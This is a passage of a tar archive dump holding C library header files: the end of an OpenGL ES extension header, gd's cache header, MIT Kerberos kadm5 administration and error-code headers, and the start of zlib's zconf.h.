GL_FRAMEBUFFER_INCOMPLETE_FOVEATION_QCOM 0x8BFF typedef void (GL_APIENTRYP PFNGLTEXTUREFOVEATIONPARAMETERSQCOMPROC) (GLuint texture, GLuint layer, GLuint focalPoint, GLfloat focalX, GLfloat focalY, GLfloat gainX, GLfloat gainY, GLfloat foveaArea); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTextureFoveationParametersQCOM (GLuint texture, GLuint layer, GLuint focalPoint, GLfloat focalX, GLfloat focalY, GLfloat gainX, GLfloat gainY, GLfloat foveaArea); #endif #endif /* GL_QCOM_texture_foveated */ #ifndef GL_QCOM_texture_foveated_subsampled_layout #define GL_QCOM_texture_foveated_subsampled_layout 1 #define GL_FOVEATION_SUBSAMPLED_LAYOUT_METHOD_BIT_QCOM 0x00000004 #define GL_MAX_SHADER_SUBSAMPLED_IMAGE_UNITS_QCOM 0x8FA1 #endif /* GL_QCOM_texture_foveated_subsampled_layout */ #ifndef GL_QCOM_tiled_rendering #define GL_QCOM_tiled_rendering 1 #define GL_COLOR_BUFFER_BIT0_QCOM 0x00000001 #define GL_COLOR_BUFFER_BIT1_QCOM 0x00000002 #define GL_COLOR_BUFFER_BIT2_QCOM 0x00000004 #define GL_COLOR_BUFFER_BIT3_QCOM 0x00000008 #define GL_COLOR_BUFFER_BIT4_QCOM 0x00000010 #define GL_COLOR_BUFFER_BIT5_QCOM 0x00000020 #define GL_COLOR_BUFFER_BIT6_QCOM 0x00000040 #define GL_COLOR_BUFFER_BIT7_QCOM 0x00000080 #define GL_DEPTH_BUFFER_BIT0_QCOM 0x00000100 #define GL_DEPTH_BUFFER_BIT1_QCOM 0x00000200 #define GL_DEPTH_BUFFER_BIT2_QCOM 0x00000400 #define GL_DEPTH_BUFFER_BIT3_QCOM 0x00000800 #define GL_DEPTH_BUFFER_BIT4_QCOM 0x00001000 #define GL_DEPTH_BUFFER_BIT5_QCOM 0x00002000 #define GL_DEPTH_BUFFER_BIT6_QCOM 0x00004000 #define GL_DEPTH_BUFFER_BIT7_QCOM 0x00008000 #define GL_STENCIL_BUFFER_BIT0_QCOM 0x00010000 #define GL_STENCIL_BUFFER_BIT1_QCOM 0x00020000 #define GL_STENCIL_BUFFER_BIT2_QCOM 0x00040000 #define GL_STENCIL_BUFFER_BIT3_QCOM 0x00080000 #define GL_STENCIL_BUFFER_BIT4_QCOM 0x00100000 #define GL_STENCIL_BUFFER_BIT5_QCOM 0x00200000 #define GL_STENCIL_BUFFER_BIT6_QCOM 0x00400000 #define GL_STENCIL_BUFFER_BIT7_QCOM 0x00800000 #define GL_MULTISAMPLE_BUFFER_BIT0_QCOM 0x01000000 #define GL_MULTISAMPLE_BUFFER_BIT1_QCOM 0x02000000 #define GL_MULTISAMPLE_BUFFER_BIT2_QCOM 0x04000000 #define GL_MULTISAMPLE_BUFFER_BIT3_QCOM 0x08000000 #define GL_MULTISAMPLE_BUFFER_BIT4_QCOM 0x10000000 #define GL_MULTISAMPLE_BUFFER_BIT5_QCOM 0x20000000 #define GL_MULTISAMPLE_BUFFER_BIT6_QCOM 0x40000000 #define GL_MULTISAMPLE_BUFFER_BIT7_QCOM 0x80000000 typedef void (GL_APIENTRYP PFNGLSTARTTILINGQCOMPROC) (GLuint x, GLuint y, GLuint width, GLuint height, GLbitfield preserveMask); typedef void (GL_APIENTRYP PFNGLENDTILINGQCOMPROC) (GLbitfield preserveMask); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glStartTilingQCOM (GLuint x, GLuint y, GLuint width, GLuint height, GLbitfield preserveMask); GL_APICALL void GL_APIENTRY glEndTilingQCOM (GLbitfield preserveMask); #endif #endif /* GL_QCOM_tiled_rendering */ #ifndef GL_QCOM_writeonly_rendering #define GL_QCOM_writeonly_rendering 1 #define GL_WRITEONLY_RENDERING_QCOM 0x8823 #endif /* GL_QCOM_writeonly_rendering */ #ifndef GL_VIV_shader_binary #define GL_VIV_shader_binary 1 #define GL_SHADER_BINARY_VIV 0x8FC4 #endif /* GL_VIV_shader_binary */ #ifdef __cplusplus } #endif #endif gdcache.h 0000644 00000005522 15246445047 0006312 0 ustar 00 #ifdef __cplusplus extern "C" { #endif /* * gdcache.h * * Caches of pointers to user structs in which the least-recently-used * element is replaced in the event of a cache miss after the cache has * reached a given size. * * John Ellson (ellson@graphviz.org) Oct 31, 1997 * * Test this with: * gcc -o gdcache -g -Wall -DTEST gdcache.c * * The cache is implemented by a singly-linked list of elements * each containing a pointer to a user struct that is being managed by * the cache. * * The head structure has a pointer to the most-recently-used * element, and elements are moved to this position in the list each * time they are used. The head also contains pointers to three * user defined functions: * - a function to test if a cached userdata matches some keydata * - a function to provide a new userdata struct to the cache * if there has been a cache miss. * - a function to release a userdata struct when it is * no longer being managed by the cache * * In the event of a cache miss the cache is allowed to grow up to * a specified maximum size. After the maximum size is reached then * the least-recently-used element is discarded to make room for the * new. The most-recently-returned value is always left at the * beginning of the list after retrieval. * * In the current implementation the cache is traversed by a linear * search from most-recent to least-recent. This linear search * probably limits the usefulness of this implementation to cache * sizes of a few tens of elements. */ /*********************************************************/ /* header */ /*********************************************************/ #include <stdlib.h> #ifndef NULL # define NULL (void *)0 #endif /* user defined function templates */ typedef int (*gdCacheTestFn_t)(void *userdata, void *keydata); typedef void *(*gdCacheFetchFn_t)(char **error, void *keydata); typedef void (*gdCacheReleaseFn_t)(void *userdata); /* element structure */ typedef struct gdCache_element_s gdCache_element_t; struct gdCache_element_s { gdCache_element_t *next; void *userdata; }; /* head structure */ typedef struct gdCache_head_s gdCache_head_t; struct gdCache_head_s { gdCache_element_t *mru; int size; char *error; gdCacheTestFn_t gdCacheTest; gdCacheFetchFn_t gdCacheFetch; gdCacheReleaseFn_t gdCacheRelease; }; /* function templates */ gdCache_head_t *gdCacheCreate(int size, gdCacheTestFn_t gdCacheTest, gdCacheFetchFn_t gdCacheFetch, gdCacheReleaseFn_t gdCacheRelease ); void gdCacheDelete(gdCache_head_t *head); void *gdCacheGet(gdCache_head_t *head, void *keydata); #ifdef __cplusplus } #endif kadm5/chpass_util_strings.h 0000644 00000003014 15246445047 0012016 0 ustar 00 /* * et-h-chpass_util_strings.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define CHPASS_UTIL_GET_POLICY_INFO (-1492553984L) #define CHPASS_UTIL_GET_PRINC_INFO (-1492553983L) #define CHPASS_UTIL_NEW_PASSWORD_MISMATCH (-1492553982L) #define CHPASS_UTIL_NEW_PASSWORD_PROMPT (-1492553981L) #define CHPASS_UTIL_NEW_PASSWORD_AGAIN_PROMPT (-1492553980L) #define CHPASS_UTIL_NO_PASSWORD_READ (-1492553979L) #define CHPASS_UTIL_NO_POLICY_YET_Q_ERROR (-1492553978L) #define CHPASS_UTIL_PASSWORD_CHANGED (-1492553977L) #define CHPASS_UTIL_PASSWORD_IN_DICTIONARY (-1492553976L) #define CHPASS_UTIL_PASSWORD_NOT_CHANGED (-1492553975L) #define CHPASS_UTIL_PASSWORD_TOO_SHORT (-1492553974L) #define CHPASS_UTIL_TOO_FEW_CLASSES (-1492553973L) #define CHPASS_UTIL_PASSWORD_TOO_SOON (-1492553972L) #define CHPASS_UTIL_PASSWORD_REUSE (-1492553971L) #define CHPASS_UTIL_WHILE_TRYING_TO_CHANGE (-1492553970L) #define CHPASS_UTIL_WHILE_READING_PASSWORD (-1492553969L) extern const struct error_table et_ovku_error_table; extern void initialize_ovku_error_table(void); /* For compatibility with Heimdal */ extern void initialize_ovku_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_ovku (-1492553984L) /* for compatibility with older versions... */ #define init_ovku_err_tbl initialize_ovku_error_table #define ovku_err_base ERROR_TABLE_BASE_ovku kadm5/kadm_err.h 0000644 00000010371 15246445047 0007517 0 ustar 00 /* * et-h-kadm_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define KADM5_FAILURE (43787520L) #define KADM5_AUTH_GET (43787521L) #define KADM5_AUTH_ADD (43787522L) #define KADM5_AUTH_MODIFY (43787523L) #define KADM5_AUTH_DELETE (43787524L) #define KADM5_AUTH_INSUFFICIENT (43787525L) #define KADM5_BAD_DB (43787526L) #define KADM5_DUP (43787527L) #define KADM5_RPC_ERROR (43787528L) #define KADM5_NO_SRV (43787529L) #define KADM5_BAD_HIST_KEY (43787530L) #define KADM5_NOT_INIT (43787531L) #define KADM5_UNK_PRINC (43787532L) #define KADM5_UNK_POLICY (43787533L) #define KADM5_BAD_MASK (43787534L) #define KADM5_BAD_CLASS (43787535L) #define KADM5_BAD_LENGTH (43787536L) #define KADM5_BAD_POLICY (43787537L) #define KADM5_BAD_PRINCIPAL (43787538L) #define KADM5_BAD_AUX_ATTR (43787539L) #define KADM5_BAD_HISTORY (43787540L) #define KADM5_BAD_MIN_PASS_LIFE (43787541L) #define KADM5_PASS_Q_TOOSHORT (43787542L) #define KADM5_PASS_Q_CLASS (43787543L) #define KADM5_PASS_Q_DICT (43787544L) #define KADM5_PASS_REUSE (43787545L) #define KADM5_PASS_TOOSOON (43787546L) #define KADM5_POLICY_REF (43787547L) #define KADM5_INIT (43787548L) #define KADM5_BAD_PASSWORD (43787549L) #define KADM5_PROTECT_PRINCIPAL (43787550L) #define KADM5_BAD_SERVER_HANDLE (43787551L) #define KADM5_BAD_STRUCT_VERSION (43787552L) #define KADM5_OLD_STRUCT_VERSION (43787553L) #define KADM5_NEW_STRUCT_VERSION (43787554L) #define KADM5_BAD_API_VERSION (43787555L) #define KADM5_OLD_LIB_API_VERSION (43787556L) #define KADM5_OLD_SERVER_API_VERSION (43787557L) #define KADM5_NEW_LIB_API_VERSION (43787558L) #define KADM5_NEW_SERVER_API_VERSION (43787559L) #define KADM5_SECURE_PRINC_MISSING (43787560L) #define KADM5_NO_RENAME_SALT (43787561L) #define KADM5_BAD_CLIENT_PARAMS (43787562L) #define KADM5_BAD_SERVER_PARAMS (43787563L) #define KADM5_AUTH_LIST (43787564L) #define KADM5_AUTH_CHANGEPW (43787565L) #define KADM5_GSS_ERROR (43787566L) #define KADM5_BAD_TL_TYPE (43787567L) #define KADM5_MISSING_CONF_PARAMS (43787568L) #define KADM5_BAD_SERVER_NAME (43787569L) #define KADM5_AUTH_SETKEY (43787570L) #define KADM5_SETKEY_DUP_ENCTYPES (43787571L) #define KADM5_SETV4KEY_INVAL_ENCTYPE (43787572L) #define KADM5_SETKEY3_ETYPE_MISMATCH (43787573L) #define KADM5_MISSING_KRB5_CONF_PARAMS (43787574L) #define KADM5_XDR_FAILURE (43787575L) #define KADM5_CANT_RESOLVE (43787576L) #define KADM5_PASS_Q_GENERIC (43787577L) #define KADM5_BAD_KEYSALTS (43787578L) #define KADM5_SETKEY_BAD_KVNO (43787579L) #define KADM5_AUTH_EXTRACT (43787580L) #define KADM5_PROTECT_KEYS (43787581L) #define KADM5_AUTH_INITIAL (43787582L) extern const struct error_table et_ovk_error_table; extern void initialize_ovk_error_table(void); /* For compatibility with Heimdal */ extern void initialize_ovk_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_ovk (43787520L) /* for compatibility with older versions... */ #define init_ovk_err_tbl initialize_ovk_error_table #define ovk_err_base ERROR_TABLE_BASE_ovk kadm5/admin.h 0000644 00000050137 15246445047 0007027 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* lib/kadm5/admin.h */ /* * Copyright 2001, 2008 by the Massachusetts Institute of Technology. * All Rights Reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * Copyright 1993 OpenVision Technologies, Inc., All Rights Reserved * * $Header$ */ /* * This API is not considered as stable as the main krb5 API. * * - We may make arbitrary incompatible changes between feature * releases (e.g. from 1.7 to 1.8). * - We will make some effort to avoid making incompatible changes for * bugfix releases, but will make them if necessary. */ #ifndef __KADM5_ADMIN_H__ #define __KADM5_ADMIN_H__ #include <sys/types.h> #include <gssrpc/rpc.h> #include <krb5.h> #include <kdb.h> #include <com_err.h> #include <kadm5/kadm_err.h> #include <kadm5/chpass_util_strings.h> #ifndef KADM5INT_BEGIN_DECLS #if defined(__cplusplus) #define KADM5INT_BEGIN_DECLS extern "C" { #define KADM5INT_END_DECLS } #else #define KADM5INT_BEGIN_DECLS #define KADM5INT_END_DECLS #endif #endif KADM5INT_BEGIN_DECLS #define KADM5_ADMIN_SERVICE "kadmin/admin" #define KADM5_CHANGEPW_SERVICE "kadmin/changepw" #define KADM5_HIST_PRINCIPAL "kadmin/history" #define KADM5_KIPROP_HOST_SERVICE "kiprop" typedef krb5_principal kadm5_princ_t; typedef char *kadm5_policy_t; typedef long kadm5_ret_t; #define KADM5_PW_FIRST_PROMPT \ (error_message(CHPASS_UTIL_NEW_PASSWORD_PROMPT)) #define KADM5_PW_SECOND_PROMPT \ (error_message(CHPASS_UTIL_NEW_PASSWORD_AGAIN_PROMPT)) /* * Successful return code */ #define KADM5_OK 0 /* * Field masks */ /* kadm5_principal_ent_t */ #define KADM5_PRINCIPAL 0x000001 #define KADM5_PRINC_EXPIRE_TIME 0x000002 #define KADM5_PW_EXPIRATION 0x000004 #define KADM5_LAST_PWD_CHANGE 0x000008 #define KADM5_ATTRIBUTES 0x000010 #define KADM5_MAX_LIFE 0x000020 #define KADM5_MOD_TIME 0x000040 #define KADM5_MOD_NAME 0x000080 #define KADM5_KVNO 0x000100 #define KADM5_MKVNO 0x000200 #define KADM5_AUX_ATTRIBUTES 0x000400 #define KADM5_POLICY 0x000800 #define KADM5_POLICY_CLR 0x001000 /* version 2 masks */ #define KADM5_MAX_RLIFE 0x002000 #define KADM5_LAST_SUCCESS 0x004000 #define KADM5_LAST_FAILED 0x008000 #define KADM5_FAIL_AUTH_COUNT 0x010000 #define KADM5_KEY_DATA 0x020000 #define KADM5_TL_DATA 0x040000 #ifdef notyet /* Novell */ #define KADM5_CPW_FUNCTION 0x080000 #define KADM5_RANDKEY_USED 0x100000 #endif #define KADM5_LOAD 0x200000 #define KADM5_KEY_HIST 0x400000 /* all but KEY_DATA, TL_DATA, LOAD */ #define KADM5_PRINCIPAL_NORMAL_MASK 0x41ffff /* kadm5_policy_ent_t */ #define KADM5_PW_MAX_LIFE 0x00004000 #define KADM5_PW_MIN_LIFE 0x00008000 #define KADM5_PW_MIN_LENGTH 0x00010000 #define KADM5_PW_MIN_CLASSES 0x00020000 #define KADM5_PW_HISTORY_NUM 0x00040000 #define KADM5_REF_COUNT 0x00080000 #define KADM5_PW_MAX_FAILURE 0x00100000 #define KADM5_PW_FAILURE_COUNT_INTERVAL 0x00200000 #define KADM5_PW_LOCKOUT_DURATION 0x00400000 #define KADM5_POLICY_ATTRIBUTES 0x00800000 #define KADM5_POLICY_MAX_LIFE 0x01000000 #define KADM5_POLICY_MAX_RLIFE 0x02000000 #define KADM5_POLICY_ALLOWED_KEYSALTS 0x04000000 #define KADM5_POLICY_TL_DATA 0x08000000 /* kadm5_config_params */ #define KADM5_CONFIG_REALM 0x00000001 #define KADM5_CONFIG_DBNAME 0x00000002 #define KADM5_CONFIG_MKEY_NAME 0x00000004 #define KADM5_CONFIG_MAX_LIFE 0x00000008 #define KADM5_CONFIG_MAX_RLIFE 0x00000010 #define KADM5_CONFIG_EXPIRATION 0x00000020 #define KADM5_CONFIG_FLAGS 0x00000040 /*#define KADM5_CONFIG_ADMIN_KEYTAB 0x00000080*/ #define KADM5_CONFIG_STASH_FILE 0x00000100 #define KADM5_CONFIG_ENCTYPE 0x00000200 #define KADM5_CONFIG_ADBNAME 0x00000400 #define KADM5_CONFIG_ADB_LOCKFILE 0x00000800 #define KADM5_CONFIG_KADMIND_LISTEN 0x00001000 #define KADM5_CONFIG_ACL_FILE 0x00002000 #define KADM5_CONFIG_KADMIND_PORT 0x00004000 #define KADM5_CONFIG_ENCTYPES 0x00008000 #define KADM5_CONFIG_ADMIN_SERVER 0x00010000 #define KADM5_CONFIG_DICT_FILE 0x00020000 #define KADM5_CONFIG_MKEY_FROM_KBD 0x00040000 #define KADM5_CONFIG_KPASSWD_PORT 0x00080000 #define KADM5_CONFIG_OLD_AUTH_GSSAPI 0x00100000 #define KADM5_CONFIG_NO_AUTH 0x00200000 #define KADM5_CONFIG_AUTH_NOFALLBACK 0x00400000 #define KADM5_CONFIG_KPASSWD_LISTEN 0x00800000 #define KADM5_CONFIG_IPROP_ENABLED 0x01000000 #define KADM5_CONFIG_ULOG_SIZE 0x02000000 #define KADM5_CONFIG_POLL_TIME 0x04000000 #define KADM5_CONFIG_IPROP_LOGFILE 0x08000000 #define KADM5_CONFIG_IPROP_PORT 0x10000000 #define KADM5_CONFIG_KVNO 0x20000000 #define KADM5_CONFIG_IPROP_RESYNC_TIMEOUT 0x40000000 #define KADM5_CONFIG_IPROP_LISTEN 0x80000000 /* * permission bits */ #define KADM5_PRIV_GET 0x01 #define KADM5_PRIV_ADD 0x02 #define KADM5_PRIV_MODIFY 0x04 #define KADM5_PRIV_DELETE 0x08 /* * API versioning constants */ #define KADM5_MASK_BITS 0xffffff00 #define KADM5_STRUCT_VERSION_MASK 0x12345600 #define KADM5_STRUCT_VERSION_1 (KADM5_STRUCT_VERSION_MASK|0x01) #define KADM5_STRUCT_VERSION KADM5_STRUCT_VERSION_1 #define KADM5_API_VERSION_MASK 0x12345700 #define KADM5_API_VERSION_2 (KADM5_API_VERSION_MASK|0x02) #define KADM5_API_VERSION_3 (KADM5_API_VERSION_MASK|0x03) #define KADM5_API_VERSION_4 (KADM5_API_VERSION_MASK|0x04) typedef struct _kadm5_principal_ent_t { krb5_principal principal; krb5_timestamp princ_expire_time; krb5_timestamp last_pwd_change; krb5_timestamp pw_expiration; krb5_deltat max_life; krb5_principal mod_name; krb5_timestamp mod_date; krb5_flags attributes; krb5_kvno kvno; krb5_kvno mkvno; char *policy; long aux_attributes; /* version 2 fields */ krb5_deltat max_renewable_life; krb5_timestamp last_success; krb5_timestamp last_failed; krb5_kvno fail_auth_count; krb5_int16 n_key_data; krb5_int16 n_tl_data; krb5_tl_data *tl_data; krb5_key_data *key_data; } kadm5_principal_ent_rec, *kadm5_principal_ent_t; typedef struct _kadm5_policy_ent_t { char *policy; long pw_min_life; long pw_max_life; long pw_min_length; long pw_min_classes; long pw_history_num; long policy_refcnt; /* no longer used */ /* version 3 fields */ krb5_kvno pw_max_fail; krb5_deltat pw_failcnt_interval; krb5_deltat pw_lockout_duration; /* version 4 fields */ krb5_flags attributes; krb5_deltat max_life; krb5_deltat max_renewable_life; char *allowed_keysalts; krb5_int16 n_tl_data; krb5_tl_data *tl_data; } kadm5_policy_ent_rec, *kadm5_policy_ent_t; /* * Data structure returned by kadm5_get_config_params() */ typedef struct _kadm5_config_params { long mask; char * realm; int kadmind_port; int kpasswd_port; char * admin_server; #ifdef notyet /* Novell */ /* ABI change? */ char * kpasswd_server; #endif /* Deprecated except for db2 backwards compatibility. Don't add new uses except as fallbacks for parameters that should be specified in the database module section of the config file. */ char * dbname; char * acl_file; char * dict_file; int mkey_from_kbd; char * stash_file; char * mkey_name; krb5_enctype enctype; krb5_deltat max_life; krb5_deltat max_rlife; krb5_timestamp expiration; krb5_flags flags; krb5_key_salt_tuple *keysalts; krb5_int32 num_keysalts; krb5_kvno kvno; bool_t iprop_enabled; uint32_t iprop_ulogsize; krb5_deltat iprop_poll_time; char * iprop_logfile; /* char * iprop_server;*/ int iprop_port; int iprop_resync_timeout; char * kadmind_listen; char * kpasswd_listen; char * iprop_listen; } kadm5_config_params; typedef struct _kadm5_key_data { krb5_kvno kvno; krb5_keyblock key; krb5_keysalt salt; } kadm5_key_data; /* * functions */ krb5_error_code kadm5_get_config_params(krb5_context context, int use_kdc_config, kadm5_config_params *params_in, kadm5_config_params *params_out); krb5_error_code kadm5_free_config_params(krb5_context context, kadm5_config_params *params); krb5_error_code kadm5_get_admin_service_name(krb5_context, char *, char *, size_t); /* * For all initialization functions, the caller must first initialize * a context with kadm5_init_krb5_context which will survive as long * as the resulting handle. The caller should free the context with * krb5_free_context. */ kadm5_ret_t kadm5_init(krb5_context context, char *client_name, char *pass, char *service_name, kadm5_config_params *params, krb5_ui_4 struct_version, krb5_ui_4 api_version, char **db_args, void **server_handle); kadm5_ret_t kadm5_init_anonymous(krb5_context context, char *client_name, char *service_name, kadm5_config_params *params, krb5_ui_4 struct_version, krb5_ui_4 api_version, char **db_args, void **server_handle); kadm5_ret_t kadm5_init_with_password(krb5_context context, char *client_name, char *pass, char *service_name, kadm5_config_params *params, krb5_ui_4 struct_version, krb5_ui_4 api_version, char **db_args, void **server_handle); kadm5_ret_t kadm5_init_with_skey(krb5_context context, char *client_name, char *keytab, char *service_name, kadm5_config_params *params, krb5_ui_4 struct_version, krb5_ui_4 api_version, char **db_args, void **server_handle); kadm5_ret_t kadm5_init_with_creds(krb5_context context, char *client_name, krb5_ccache cc, char *service_name, kadm5_config_params *params, krb5_ui_4 struct_version, krb5_ui_4 api_version, char **db_args, void **server_handle); kadm5_ret_t kadm5_lock(void *server_handle); kadm5_ret_t kadm5_unlock(void *server_handle); kadm5_ret_t kadm5_flush(void *server_handle); kadm5_ret_t kadm5_destroy(void *server_handle); kadm5_ret_t kadm5_create_principal(void *server_handle, kadm5_principal_ent_t ent, long mask, char *pass); kadm5_ret_t kadm5_create_principal_3(void *server_handle, kadm5_principal_ent_t ent, long mask, int n_ks_tuple, krb5_key_salt_tuple *ks_tuple, char *pass); kadm5_ret_t kadm5_delete_principal(void *server_handle, krb5_principal principal); kadm5_ret_t kadm5_modify_principal(void *server_handle, kadm5_principal_ent_t ent, long mask); kadm5_ret_t kadm5_rename_principal(void *server_handle, krb5_principal,krb5_principal); kadm5_ret_t kadm5_get_principal(void *server_handle, krb5_principal principal, kadm5_principal_ent_t ent, long mask); kadm5_ret_t kadm5_chpass_principal(void *server_handle, krb5_principal principal, char *pass); kadm5_ret_t kadm5_chpass_principal_3(void *server_handle, krb5_principal principal, krb5_boolean keepold, int n_ks_tuple, krb5_key_salt_tuple *ks_tuple, char *pass); kadm5_ret_t kadm5_randkey_principal(void *server_handle, krb5_principal principal, krb5_keyblock **keyblocks, int *n_keys); kadm5_ret_t kadm5_randkey_principal_3(void *server_handle, krb5_principal principal, krb5_boolean keepold, int n_ks_tuple, krb5_key_salt_tuple *ks_tuple, krb5_keyblock **keyblocks, int *n_keys); kadm5_ret_t kadm5_setkey_principal(void *server_handle, krb5_principal principal, krb5_keyblock *keyblocks, int n_keys); kadm5_ret_t kadm5_setkey_principal_3(void *server_handle, krb5_principal principal, krb5_boolean keepold, int n_ks_tuple, krb5_key_salt_tuple *ks_tuple, krb5_keyblock *keyblocks, int n_keys); kadm5_ret_t kadm5_setkey_principal_4(void *server_handle, krb5_principal principal, krb5_boolean keepold, kadm5_key_data *key_data, int n_key_data); kadm5_ret_t kadm5_decrypt_key(void *server_handle, kadm5_principal_ent_t entry, krb5_int32 ktype, krb5_int32 stype, krb5_int32 kvno, krb5_keyblock *keyblock, krb5_keysalt *keysalt, int *kvnop); kadm5_ret_t kadm5_create_policy(void *server_handle, kadm5_policy_ent_t ent, long mask); kadm5_ret_t kadm5_delete_policy(void *server_handle, kadm5_policy_t policy); kadm5_ret_t kadm5_modify_policy(void *server_handle, kadm5_policy_ent_t ent, long mask); kadm5_ret_t kadm5_get_policy(void *server_handle, kadm5_policy_t policy, kadm5_policy_ent_t ent); kadm5_ret_t kadm5_get_privs(void *server_handle, long *privs); kadm5_ret_t kadm5_chpass_principal_util(void *server_handle, krb5_principal princ, char *new_pw, char **ret_pw, char *msg_ret, unsigned int msg_len); kadm5_ret_t kadm5_free_principal_ent(void *server_handle, kadm5_principal_ent_t ent); kadm5_ret_t kadm5_free_policy_ent(void *server_handle, kadm5_policy_ent_t ent); kadm5_ret_t kadm5_get_principals(void *server_handle, char *exp, char ***princs, int *count); kadm5_ret_t kadm5_get_policies(void *server_handle, char *exp, char ***pols, int *count); kadm5_ret_t kadm5_free_key_data(void *server_handle, krb5_int16 *n_key_data, krb5_key_data *key_data); kadm5_ret_t kadm5_free_name_list(void *server_handle, char **names, int count); krb5_error_code kadm5_init_krb5_context (krb5_context *); krb5_error_code kadm5_init_iprop(void *server_handle, char **db_args); kadm5_ret_t kadm5_get_principal_keys(void *server_handle, krb5_principal principal, krb5_kvno kvno, kadm5_key_data **key_data, int *n_key_data); kadm5_ret_t kadm5_purgekeys(void *server_handle, krb5_principal principal, int keepkvno); kadm5_ret_t kadm5_get_strings(void *server_handle, krb5_principal principal, krb5_string_attr **strings_out, int *count_out); kadm5_ret_t kadm5_set_string(void *server_handle, krb5_principal principal, const char *key, const char *value); kadm5_ret_t kadm5_free_strings(void *server_handle, krb5_string_attr *strings, int count); kadm5_ret_t kadm5_free_kadm5_key_data(krb5_context context, int n_key_data, kadm5_key_data *key_data); KADM5INT_END_DECLS #endif /* __KADM5_ADMIN_H__ */ zconf.h 0000644 00000037606 15246445047 0006063 0 ustar 00 /* zconf.h -- configuration of the zlib compression library * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ /* @(#) $Id$ */ #ifndef ZCONF_H #define ZCONF_H /* * If you *really* need a unique prefix for all types and library functions, * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. * Even better than compiling with -DZ_PREFIX would be to use configure to set * this permanently in zconf.h using "./configure --zprefix". */ #ifdef Z_PREFIX /* may be set to #if 1 by ./configure */ # define Z_PREFIX_SET /* all linked symbols and init macros */ # define _dist_code z__dist_code # define _length_code z__length_code # define _tr_align z__tr_align # define _tr_flush_bits z__tr_flush_bits # define _tr_flush_block z__tr_flush_block # define _tr_init z__tr_init # define _tr_stored_block z__tr_stored_block # define _tr_tally z__tr_tally # define adler32 z_adler32 # define adler32_combine z_adler32_combine # define adler32_combine64 z_adler32_combine64 # define adler32_z z_adler32_z # ifndef Z_SOLO # define compress z_compress # define compress2 z_compress2 # define compressBound z_compressBound # endif # define crc32 z_crc32 # define crc32_combine z_crc32_combine # define crc32_combine64 z_crc32_combine64 # define crc32_z z_crc32_z # define deflate z_deflate # define deflateBound z_deflateBound # define deflateCopy z_deflateCopy # define deflateEnd z_deflateEnd # define deflateGetDictionary z_deflateGetDictionary # define deflateInit z_deflateInit # define deflateInit2 z_deflateInit2 # define deflateInit2_ z_deflateInit2_ # define deflateInit_ z_deflateInit_ # define deflateParams z_deflateParams # define deflatePending z_deflatePending # define deflatePrime z_deflatePrime # define deflateReset z_deflateReset # define deflateResetKeep z_deflateResetKeep # define deflateSetDictionary z_deflateSetDictionary # define deflateSetHeader z_deflateSetHeader # define deflateTune z_deflateTune # define deflate_copyright z_deflate_copyright # define get_crc_table z_get_crc_table # ifndef Z_SOLO # define gz_error z_gz_error # define gz_intmax z_gz_intmax # define gz_strwinerror z_gz_strwinerror # define gzbuffer z_gzbuffer # define gzclearerr z_gzclearerr # define gzclose z_gzclose # define gzclose_r z_gzclose_r # define gzclose_w z_gzclose_w # define gzdirect z_gzdirect # define gzdopen z_gzdopen # define gzeof z_gzeof # define gzerror z_gzerror # define gzflush z_gzflush # define gzfread z_gzfread # define gzfwrite z_gzfwrite # define gzgetc z_gzgetc # define gzgetc_ z_gzgetc_ # define gzgets z_gzgets # define gzoffset z_gzoffset # define gzoffset64 z_gzoffset64 # define gzopen z_gzopen # define gzopen64 z_gzopen64 # ifdef _WIN32 # define gzopen_w z_gzopen_w # endif # define gzprintf z_gzprintf # define gzputc z_gzputc # define gzputs z_gzputs # define gzread z_gzread # define gzrewind z_gzrewind # define gzseek z_gzseek # define gzseek64 z_gzseek64 # define gzsetparams z_gzsetparams # define gztell z_gztell # define gztell64 z_gztell64 # define gzungetc z_gzungetc # define gzvprintf z_gzvprintf # define gzwrite z_gzwrite # endif # define inflate z_inflate # define inflateBack z_inflateBack # define inflateBackEnd z_inflateBackEnd # define inflateBackInit z_inflateBackInit # define inflateBackInit_ z_inflateBackInit_ # define inflateCodesUsed z_inflateCodesUsed # define inflateCopy z_inflateCopy # define inflateEnd z_inflateEnd # define inflateGetDictionary z_inflateGetDictionary # define inflateGetHeader z_inflateGetHeader # define inflateInit z_inflateInit # define inflateInit2 z_inflateInit2 # define inflateInit2_ z_inflateInit2_ # define inflateInit_ z_inflateInit_ # define inflateMark z_inflateMark # define inflatePrime z_inflatePrime # define inflateReset z_inflateReset # define inflateReset2 z_inflateReset2 # define inflateResetKeep z_inflateResetKeep # define inflateSetDictionary z_inflateSetDictionary # define inflateSync z_inflateSync # define inflateSyncPoint z_inflateSyncPoint # define inflateUndermine z_inflateUndermine # define inflateValidate z_inflateValidate # define inflate_copyright z_inflate_copyright # define inflate_fast z_inflate_fast # define inflate_table z_inflate_table # ifndef Z_SOLO # define uncompress z_uncompress # define uncompress2 z_uncompress2 # endif # define zError z_zError # ifndef Z_SOLO # define zcalloc z_zcalloc # define zcfree z_zcfree # endif # define zlibCompileFlags z_zlibCompileFlags # define zlibVersion z_zlibVersion /* all zlib typedefs in zlib.h and zconf.h */ # define Byte z_Byte # define Bytef z_Bytef # define alloc_func z_alloc_func # define charf z_charf # define free_func z_free_func # ifndef Z_SOLO # define gzFile z_gzFile # endif # define gz_header z_gz_header # define gz_headerp 